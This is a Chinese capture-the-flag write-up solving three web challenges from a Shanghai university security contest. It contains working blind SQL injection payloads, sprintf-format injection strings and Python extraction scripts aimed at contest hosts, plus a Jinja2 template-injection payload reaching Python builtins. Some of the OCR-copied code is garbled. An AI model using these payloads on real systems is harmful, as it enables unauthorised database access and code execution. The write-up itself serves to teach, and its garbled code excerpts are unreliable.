

第六届上海市大学生网络安全大赛

这个比赛感觉质量还是不错的，也遇到了好多困难也获得了知识。感谢M3wl师傅，atao师傅，yu22x师傅

by Firebasky

千毒网盘

这个题的思路是m3wl师傅提供的，脚本是atao师傅提供的，Firebasky负责膜拜师傅们
最后是自己调试了很多次才明白！

分析index.php和code.php的重要代码

```
1 #index.php
2 foreach(array('_GET', '_POST', '_COOKIE') as $key)
3 {
4     if($$key) {#进行添加变量
5         foreach($$key as $key_2 => $value_2) {
6             if(isset($$key_2) and $$key_2 == $value_2)
7                 unset($$key_2); #删除变量
8         }
9     }
10 }
11 if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
12 if($_GET) extract($_GET, EXTR_SKIP);
13 #将$_GET参数进行添加变量
14 if($_POST) extract($_POST, EXTR_SKIP);
15 #将$_POST参数进行添加变量
```

```
1 #code.php
2 public function filter($string) #过滤了单引号正确情况下不能住人
3 {
4     $safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is',
5     $string);
6     if($safe === 0){
7         return $string;
8     }else{
9         return False;
10     }
11 }
12
13 public function getfile()
14 {
15
16     $code = $_POST['code'];#获得code变量
17
18     if($code === False) return '非法提取码!';
19     $file_code = array(114514,233333,666666);
20
21     if(in_array($code,$file_code))
```

```

22     {
23         $sql = "select * from file where code='$code'";#进行利用的点
24         $result = mysqli_query($this->mysqli,$sql);
25         $result = mysqli_fetch_object($result);
26         return '下载直链为: '.$result->url;
27     }else{
28         return '提取码不存在! ';
29     }
30
31 }

```

一开始自己的思路是将POST方法的参数转换成GET方法的参数让其不进filter()函数，进行变量覆盖，一直没有成功~

m3w师傅最后提供了思路和方法，大概就是让unset(\$_POST)之后就过了filter()函数验证，在重新注册\$_POST参数

```

1  #exp
2  ?_POST[code]=114514'payload
3  code=114514'payload

```

分析

下面是自己的调试加分析

我们要让unset(\$_POST)实现必须要if(isset(\$\$key_2) and \$\$key_2 == \$value_2)满足条件

我们输入GET: ?_POST[code]=114514'payload POST: code=114514'payload进行调试

The screenshot shows a code editor with the following PHP code:

```

1  <?php
2  include 'code.php';
3  $pan = new Pan();
4  foreach(array($_GET, $_POST, $_COOKIE) as $key)
5  {
6      if($$key) {#?_POST['code']=114514'
7          #key=$_GET
8          #key=$_POST
9
10         #code=114514'
11         foreach($$key as $key_2 => $value_2) {
12             if(isset($$key_2) and $$key_2 == $value_2)
13                 unset($$key_2);
14         }
15     }
16
17     if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
18     if($_GET) extract($_GET, EXTR_SKIP);
19     if($_POST) extract($_POST, EXTR_SKIP);
20     if(isset($_POST['code']))

```

The '监视' (Watch) window shows the following variables and their values:

- \$key: "GET"
- \$key: "GET"
- \$\$key: array(1)
- \$_POST: array(1)
- \$\$key_2: array(1)
- code: "114514"
- \$key_2: "POST"
- \$value_2: array(1)
- code: "114514"

Red arrows indicate the flow of execution and the specific values being checked in the if statement.

这里我解释一下为什么\$\$key_2值是114514'

因为\$key_2=\$_POST 所以\$\$key_2=\$_POST 而我们一开始就用post方法提交过code=114514' 所以\$\$key_2=114514'

之后成功释放了POST提交的参数

下一步

```

1 <?php
2 include 'code.php';
3 $pan = new Pan();
4 foreach(array('_GET', '_POST', '_COOKIE') as $key)
5 {
6     if($key) {#?_POST['code']=114514'
7         #key=$_GET
8         #key=$_POST
9
10        #code=114514'
11        foreach($key as $key_2 => $value_2) {
12            if(isset($key_2) and $key_2 == $value_2)
13                unset($key_2);
14        }
15    }
16 }

```

进行第二次循环 因为没有\$_POST程序就会运行下一个

下一步

```

1 <?php
2 include 'code.php';
3 $pan = new Pan();
4 foreach(array('_GET', '_POST', '_COOKIE') as $key)
5 {
6     if($key) {#?_POST['code']=114514'
7         #key=$_GET
8         #key=$_POST
9
10        #code=114514'
11        foreach($key as $key_2 => $value_2) {
12            if(isset($key_2) and $key_2 == $value_2)
13                unset($key_2);
14        }
15    }
16 }

```

出现异常。
Notice: Undefined variable: _POST

因为之前释放了

成功绕过filter()函数

```

10 #code=114514'
11 foreach($key as $key_2 => $value_2) {
12     if(isset($key_2) and $key_2 == $value_2)
13         unset($key_2);
14 }
15 }
16 }
17 if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
18 if($GET) extract($GET, EXTR_SKIP);
19 if($_POST) extract($_POST, EXTR_SKIP);
20 if(isset($_POST['code']))
21 {
22     $message = $pan->getfile();
23     echo <<<EOF
24     <div class="alert alert-dismissible alert-info">
25     <button type="button" class="close" data-dismiss="alert" aria-hidden="true">x</button>
26     <h4>
27         注意!
28     </h4> <strong>注意!</strong> {$message}

```

因为没有POST值的参数会不执行

之后下面的两个就语句就相当于重新注册变量

```

1 if($_GET) extract($_GET, EXTR_SKIP);
2 #因为最开始的$_GET没有改变是$_POST[code]=114514'
3 #执行extract()函数完之后就是$_POST[code]=114514'
4 if($_POST) extract($_POST, EXTR_SKIP);
5 #前一句生成了$_POST[code]=114514'
6 #所以之后就会成功注册生成$code=114514'

```

```

10      #code=114514'
11      foreach($key as $key_2 => $value_2) {
12          if(isset($key_2) and $key_2 == $value_2)
13              unset($key_2);
14      }
15  }
16  }
17  if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
18  if($_GET) extract($_GET, EXTR_SKIP);
19  if($_POST) extract($_POST, EXTR_SKIP);
20  if(isset($_POST['code']))
21  {
22      $message = $pan->getfile();
23      echo <<<EOF
24      <div class="alert alert-dismissable alert-info">
25      <button type="button" class="close" data-dismiss="alert" aria-hidden="
26      <h4>
27      注意!

```

最后成功进入sql语句里面执行

```

31      }
32  }
33  }
34  public function getfile()
35  {
36      $code = $_POST['code'];
37      if($code === False) return '非法提取码!';
38      $file_code = array(114514,233333,666666);
39      if(in_array($code,$file_code))
40      {
41          $sql = "select * from file where code='".$code.'";
42          $result = mysqli_query($this->mysqli,$sql);
43          $result = mysqli_fetch_object($result);
44          return '下载直链为: '.$result->url;

```

随便注入

最后就是简单地注入啦没有任何限制

```

1  114514'and ascii(substr((select flag from flag),{},{},1)) = {}#
2  #注入

```

```

1  # ! usr/bin/env python
2  # -*- coding: utf-8 -*-
3  #atao
4  import requests
5
6  flag=''
7  for i in range(0, 50):
8      for j in range(34,127):
9          data = {
10              'code':"114514' and ascii(substr((select flag from flag),{},{},1))
11              = {}#" .format(i,j)
12          }
13          url = "http://eci-
14              2zeda2kd7m140131eutr.cloudeci1.ichunqiu.com//index.php?_POST[code]=114514'
15              and ascii(substr((select flag from flag),{},{},1)) = {}%23" .format(i,j)
16
17          rse = requests.post(url=url,data=data)
18          if "http://gamectf.com/p/CGBU.png" in rse.text:
19              flag = flag + chr(j)
20              print(flag)

```

```
18         break
19
20     print(flag)
```

TryToLogin

这个题是yu22x师傅和atao师傅 m3w师傅弄的，我就帮了一点点忙 hhh

分析

读源代码 `?file=/proc/self/cwd/index.php`

```
1  #class.php
2  public function filter()
3  {#过滤了or inn 和对字符进行转义
4      $_POST['username'] = addslashes($_POST['username']);
5      $_POST['password'] = addslashes($_POST['password']);
6      $safe1 = preg_match('/inn|or|is', $_POST['username']);
7      $safe2 = preg_match('/inn|or|is', $_POST['password']);
8      if($safe1 === 0 and $safe2 === 0){
9          return true;
10     }else{
11         die('No hacker!');
12     }
13 }
14
15 public function login()
16 {
17     $this->filter();
18     $username = $_POST['username'];
19     $password = $_POST['password'];
20     $sql = "select * from user where username='%s' and
password='$password'";
21     #存在sprintf字符注入
22     $sql = sprintf($sql,$username);
23
24     $result = mysqli_query($this->mysqli,$sql);
25     $result = mysqli_fetch_object($result);
26     if($result->id){
27         return 1;
28     }else{
29         return 0;
30     }
31
32 }
```

sprintf注入test

```
1  #test.php
2  <?php
3
4  $input = addslashes("%1$' and 1=1#");
5  ///%1$\'' and 1=1#
6  echo $input."\n";
7  $b = sprintf("AND b='%s'", $input);
```

```

8 //AND b='%1$\'' and 1=1#
9 echo $b."\n";
10 $sql = sprintf("SELECT * FROM admin WHERE a='%s' $b", 'admin');
11 echo $sql."\n";
12 //SELECT * FROM admin WHERE a='admin' AND b='' and 1=1#
13 //
14 ?>

```

exp

exp:

username=admin&password=%1\$' || exp

因为过滤了inn和or使用其他替代 如sys.schema_table_statistics

```

1 exp
2 %1$' || ascii(substr((select group_concat(table_name) from
  sys.schema_table_statistics where table_schema=database()),1,1))=1#

```

```

1 # ! usr/bin/env python
2 # -*- coding: utf-8 -*-
3 import requests
4 import time
5
6 url='http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/'
7 flag=''
8 for i in range(1, 50):
9     for j in range(34,127):
10         data = {
11             'username': 'admin',
12             'password': "%1$\'' || ascii(substr((select
13 group_concat(table_name) from sys.schema_table_statistics where
14 table_schema=database()),{j},1))={j}#" .format(i,j)
15         }
16         print("password"+data['password'])
17         rse = requests.post(url=url,data=data)
18         #print rse.text
19         if "Success!" in rse.text:
20             flag = flag + chr(j)
21             print(flag)
22             break
23         time.sleep(0.05)
24 print(flag)
25 #user fl4g

```

最后就跑fl4g

```

1 %1$' || (ascii(substr((select * from(fl4g)),1,1))>1)#

```

```

1 import requests
2 import string
3
4 url="http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/"
5 s=string.ascii_letters+string.digits+"{-_}"

```

```

6  flag=""
7
8  for i in range(1,50):
9      print("*****")
10     for j in s:
11         #print(j)
12         data={
13             'username': 'admin',
14             'password': "%1$\'| |if(ascii(substr((select * from(flag)),{0},1))=
{1},1,0)-- +".format(i,ord(j))
15         }
16         print(data['password'])
17         r=requests.post(url,data=data)
18         if "Success" in r.text:
19             flag+=j
20             print(flag)
21             break

```

注入和前几天的电信题差不多

Hello

是atao师傅帮助的 感谢atao师傅

```

1  from flask import Flask,request,render_template
2  from jinja2 import Template
3  import os
4
5  app = Flask(__name__)
6
7  f = open('/flag','r')
8  flag = f.read()#获得flag值
9  @app.route('/',methods=['GET','POST'])
10 def home():
11     name = request.args.get("name") or ""
12     print(name)
13     if name:
14         return render_template('index.html',name=name)
15         # render_template() 方法来渲染模板
16     else:
17         return render_template('index.html')
18
19 @app.route('/help',methods=['GET'])
20 def help():
21     help = ''
22     '''
23     return f.read()
24
25 @app.errorhandler(404)
26 def page_not_found(e):
27     #No way to get flag!
28     os.system('rm -f /flag')
29     url = name = request.args.get("name") or ""
30     # r = request.path
31     r = request.data.decode('utf8')
32     if 'eval' in r or 'popen' in r or '{{' in r:

```

```

33         t = Template(" Not found!")
34         return render_template(t), 404
35     t = Template(r + " Not found!")
36     return render_template(t), 404
37
38
39 if __name__ == '__main__':
40     app.run(host='0.0.0.0',port=8888)

```

在/help会返回源代码的base64

分析

最开始在/根目录下进行ssti注入发现并不会解析?!之后查看资料才一知半解。下面解释一下

- 1 在根目录下我们使用的渲染模块是render_template()函数并且固定了index.html渲染文件，我们这里能控制的参数是name,但是发现输入{{3*3}}浏览器解析还是{{3*3}}

Hello, {{3*3}}!

- 1 使用说即使name可控了，但是代码已经并不生效。原理是：良好的代码规范，使得模板其实已经固定了，已经被render_template渲染了。你的模板渲染其实已经不可控了。

- 1 而真正的漏洞代码形成原因的程序员为省事并不会专门写一个html文件，比如说怎么的404页面，而是直接当字符串来渲染，并且参数可以控制。报错404，返回当前错误url。

通过上面分析 结论是/根目录下根本利用不了,剩下的就只有404状态码的路由。并且对参数进行了一下过滤，但是可以突破

```

1  #漏洞位置
2  @app.errorhandler(404)
3  def page_not_found(e):
4      #No way to get flag!
5      os.system('rm -f /flag')
6      url = name = request.args.get("name") or ""
7      #r = request.path
8      r = request.data.decode('utf8')#通过post获得参数r
9      #渲染获得的参数r 是通过request.data获得
10     #获得参数这个位置有点小坑，最好是通过python发送数据包,因为mimetype类型的数据不同
    可能造成不会获得参数
11     #print(r)
12     if 'eval' in r or 'popen' in r or '{{' in r:#过滤了{{ popen eval
13         t = Template(" Not found!")
14         return render_template(t), 404
15     t = Template(r + " Not found!")
16     #Template是string中的一个类,可以将字符串的格式固定下来，重复利用
17     return render_template(t), 404

```

分析了上面漏洞代码，代码逻辑非常简单:当服务器返回404（不存在的页面）时，如果不存在过滤的数据就会去渲染服务器通过request.data获得的值。而最后的渲染就是我们的利用点

exp

exp的构造思路是:是构造读flag变量,因为之前通过flag = f.read()获得flag值,最后删除了flag文件。就可以通过print语句去实现。

```
1  -*-coding = utf-8 -*-
2  #Firebasky
3  import requests
4  url = 'url'
5
6  for i in range(200):
7      data="{%print [].__class__.__bases__[0].__subclasses__()
8          [%+str(i)+"].__init__.__globals__['__builtins__']['__import__']
9          ('__main__').flag %}"
10     # print(data)
11     res = requests.post(url=url,data=data)
12     if "flag" in res.text:
13         print(res.text)
14         print("i=",i)
15         break
```

通过import是导入__main__主函数去读变量

最后atao师傅发现了一个小坑: request.data获得参数问题

Flask的request.form和request.data有什么区别?

首先使用这两个方法的前提是post或者put请求

两者的区别在于处理不同mimetype类型的数据, 返回值也不同。

当mimetype为application/x-www-form-urlencoded或者multipart/form-data的时候, 也就是我们所谓表单提交, 访问request.form会返回一个包含解析过的的表单对象的 MultiDict, 而request.data是空的。

当flask遇到不能处理的mimetype时, 请求的数据就不能被其它方式正常解析, 这些方式包括request.form、request.json和request.files这几个常用的用来访问数据的属性。这时就把数据作为字符串存在request.data中。

这里注意一下request.json需要application/json的mimetype类型。

知道了这些处理数据的过程, 那我们就可以对提交的数据进行扩展, 定义一些自己专用的mimetype类型, 并在Request类中定义处理专用mimetype数据的方法, 从而让我们实现更个性、与众不同的功能需求。

...

1 atao师傅: 当类型为application/x-www-form-urlencoded或者multipart/form-data是传给request.form, request.data没有接到数据; 如果是其他不能处理的类型就会给request.data

参考:

<https://xz.aliyun.com/t/3679>

<https://www.imooc.com/wenda/detail/452823>

